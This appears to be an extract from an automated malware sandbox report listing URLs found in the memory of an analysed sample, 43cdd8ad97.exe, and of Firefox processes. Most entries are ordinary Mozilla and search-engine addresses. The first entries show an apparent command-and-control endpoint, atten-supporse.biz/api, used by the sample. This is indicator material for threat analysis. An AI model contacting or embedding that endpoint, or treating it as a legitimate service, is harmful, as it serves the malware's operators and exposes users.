Source: 43cdd8ad97.exe, 00000013.00000003.3255085909.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3165454493.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3126712779.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3163189806.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiicrosoft
Source: 43cdd8ad97.exe, 00000013.00000003.3084946747.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api~V~b
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000021.00000002.3139500286.00000209E556B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2942344526.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3136201162.000000000555C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2942344526.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3136201162.000000000555C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 00000021.00000002.3164594918.00000209F533E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3174482855.00000209F6111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3086752295.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3086752295.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3086752295.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3086752295.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2642547892.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2642547892.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000021.00000003.3015206615.00000209F543E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3154219479.00000209F2A70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015616706.00000209F5481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000021.00000002.3222392437.00000209FD8B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2942344526.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3136201162.000000000555C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2942344526.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3136201162.000000000555C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000021.00000002.3215510453.00000209FD48B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3079824771.00000209FD48B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3076795056.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000021.00000002.3195369881.00000209F7724000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3059991476.00000209FD23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3169435535.00000209F5903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3076795056.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3230150203.00000B079E404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000021.00000002.3212080999.00000209FD17B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F6928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD2B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3232244305.0000275D1FA04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3234997819.00003BE40B104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015616706.00000209F5481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000021.00000002.3232920233.00002EB7FEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?Z
Source: firefox.exe, 00000021.00000002.3222392437.00000209FD8C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000021.00000002.3154219479.00000209F2A70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3165810332.00000209F5565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3165810332.00000209F5565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3225302939.00000209FF80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000021.00000003.3098071517.00000209F6BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3095261637.00000209F6BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F323C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3233193722.000033904CA04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3225302939.00000209FF80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000021.00000002.3150145794.00000209F17DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000021.00000002.3150145794.00000209F17DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000021.00000002.3150145794.00000209F17DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3215510453.00000209FD4E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000021.00000002.3150145794.00000209F17DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworkerItems
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000021.00000002.3214103822.00000209FD3D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3111952972.00000209FD3D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000021.00000002.3214103822.00000209FD3D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3111952972.00000209FD3D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
